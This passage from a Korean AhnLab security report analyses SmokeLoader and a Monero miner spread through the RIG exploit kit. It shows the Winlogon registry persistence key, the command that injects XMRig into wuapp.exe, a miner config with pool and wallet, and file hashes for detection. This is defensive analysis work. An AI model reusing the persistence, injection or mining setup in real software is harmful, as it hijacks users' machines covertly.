요청을받은 C&C 서버는 404 Not Found 로오류를응답한다. 이응답은요청된페이지가없을때사용되는오류코드이지만, 실제로는암호화된실행파일데이터가 Content-Length에지정된길이만큼반환된다. 스모크로더는이데이터를복호화하여 %TEMP% 에저장한후실행한다. 그림 2-7 C&C 서버요청내용및응답결과 이와같은 C&C 서버접속은 1 분마다반복하여 C&C 서버에서제공하는새로운악성프로그램을수시로다운로드하고실행한다. 4) 모네로채굴프로그램 (Monero Miner) 을이용한암호화폐채굴 이전과정에서살펴본것과같이스모크로더에의해다양한악성파일들이감염될수있지만, 최근공격 자는금전적이득을위해주로모네로채굴프로그램 (Monero Miner) 을다운로드하고이를실행시킨다. 모네로채굴프로그램역시 NSIS 인스톨러로제작되었으며, 실행후다음과같이동작한다. (a) 자가복제 자신의파일을 %APPDATA%\troop.exe 경로에복제한다. (b) 자동실행등록 다음레지스트리경로에복제한파일경로를등록하여시스템재부팅이후에도자동으로동작되도록한다. KEY: HKCU\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon\shell VALUE: explorer.exe DATA: %APPDATA%troop.exe ASEC REPORT Vol.92 Security Trend 18

(c) XMRig 프로그램실행 %WINDIR%\system32\wuapp.exe 프로그램을다음과같이실행한다. %WINDIR%\system32\wuapp.exe -c C:\ProgramData\BJSTjWTTyY\cfg Wuapp.exe 프로그램은 Windows Update Application Launcher 정상프로그램이다. 모네로채굴프로그램 (Monero Miner) 은해당정상프로그램을실행하고, 자신의코드를인젝션 (Injection) 한후실행시킴으로써사용자가감염사실을알수없도록한다. 모네로채굴프로그램 (Monero Miner) 이인젝션하는코드는오픈소스프로그램인 XMRig 프로그램 (2.5.0 버전 ) 이다. 메모리분석시탐지되지않도록 [ 그림 2-8] 과같이 PE 파일의일부헤더 정보를제거한 UPX 형태로제작되어있다. 그림 2-8 PE 헤더정보일부가제거된메모리영역정보 인수로전달된 RIGXMR 의설정파일내용은 [ 그림 2-9] 와같다. { "algo": "cryptonight", "background": false, "threads": 1, "pools": [ { "url": "sg.minexmr.com:4444", "user":"46j2g9rmhwrutfncsxjfd8bgn1jnznhntd2dngxv5x2z6bfshljj9pz49ke ahgrixagrctovdgrjppnnbyhp9ez2llb5ypt", "pass": "x", } 그림 2-9 C:\ProgramData\BJSTjWTTyY\cfg 내용일부 ASEC REPORT Vol.92 Security Trend 19

모네로채굴프로그램은암호화폐채굴시한개의쓰레드와 sg.mimexmr.com:4444 를마이닝풀 (Mining Pool) 로사용한다. 해당마이닝풀은싱가폴에위치한서버이며, 낮은수준의 CPU/ GPU 를사용하도록설정된포트이다. 감염된 PC의사용자가암호화폐채굴프로그램이실행중인것을인지하지못하도록시스템자원을적게사용하도록설정되어있다. 안랩의분석당시, 설정파일의 유저 (user) 정보를조회하면 [ 그림 2-10] 과같이 minexmr.com 사이트에서부정사용계정으로차단되어있어현재는암호화폐채굴이불가한것으로확인됐다. 그림 2-10 사용이정지된계정상태 03. 대응방안 안랩이분석한리그익스플로잇킷기반의암호화폐채굴악성코드와관련된파일들의정보는다 음과같으며, 각각 V3 제품을이용해탐지할수있다. 파일명파일타입파일크기 MD5 SHA2 0f9cdcb4c2527dfe77fd434595412789.htm Script 141,243 Bytes 0f9cdcb4c2527dfe77fd434595412789 b3d38e56e7e311a48256e1c4fc65415a80e63e5d5746475f8b7b64711456b610 V3 진단명 ( 반영엔진버전 ) Trojan/JS.Exploitloader / 2018.07.03.00 ASEC REPORT Vol.92 Security Trend 20

파일명파일타입파일크기 MD5 SHA2 e476a13d5706f369a9fff0d7a606f245.swf Adobe Flash Player File (SWF) 34,281 Bytes e476a13d5706f369a9fff0d7a606f245 bc1fd88bba6a497df68a2155658b5ca7306cd94bbea692287eb8b59bd24156b4 V3 진단명 ( 반영엔진버전 ) SWF/Cve-2018-4878.Exp.3 / 2018.05.26.01 파일명파일타입파일크기 MD5 SHA2 457e8e14761b54d7639483f622d7cd0b(SmokeLoader).exe Portable Executable (PE) 139,706 Bytes 457e8e14761b54d7639483f622d7cd0b 66e4e472da1b128b6390c6cbf04cc70c0e873b60f52eabb1b4ea74ebd119df18 V3 진단명 ( 반영엔진버전 ) Trojan/Win32.HDC / 2018.05.27.03 파일명파일타입파일크기 MD5 SHA2 f160cfb4c09ea000066f84be487a1a76(monerominer).exe Portable Executable (PE) 932,075 Bytes f160cfb4c09ea000066f84be487a1a76 716a65e4b63e442756f63e3ac0bb971ee007f0bf9cf251b9f0bfd84e92177600 V3 진단명 ( 반영엔진버전 ) Trojan/Win32.Infostealer / 2018.05.29.01 이번에발견된암호화폐채굴악성코드는암호화폐채굴을목적으로제작 유포되었지만감염과 정에서실행되는스모크로더는다양한목적으로사용될수있는다운로더 (downloader) 이다. 즉, 공격자의의도에따라랜섬웨어나백도어의설치가가능하기때문에각별한주의가필요하다. 또한이번사례와같이취약점을이용한악성코드제작및유포가지속적으로발생하고있다. 암호화폐채굴악성코드는물론, 랜섬웨어등악성코드감염을예방하기위해서는사용중인운영체제및주요애플리케이션 ( 소프트웨어 ) 의최신패치를적용하는한편, 의심스러운웹사이트방문을삼가는것이바람직하다. ASEC REPORT Vol.92 Security Trend 21

04. 참고자료 1. 랜섬웨어가이용하는멀버타이징기법 http://www.ahnlab.com/kr/site/securityinfo/secunews/secunewsview.do?menu_ dist=2&seq=24586 2. CVE-2018-8174 취약점정보 https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2018-8174 ASEC REPORT Vol.92 Security Trend 22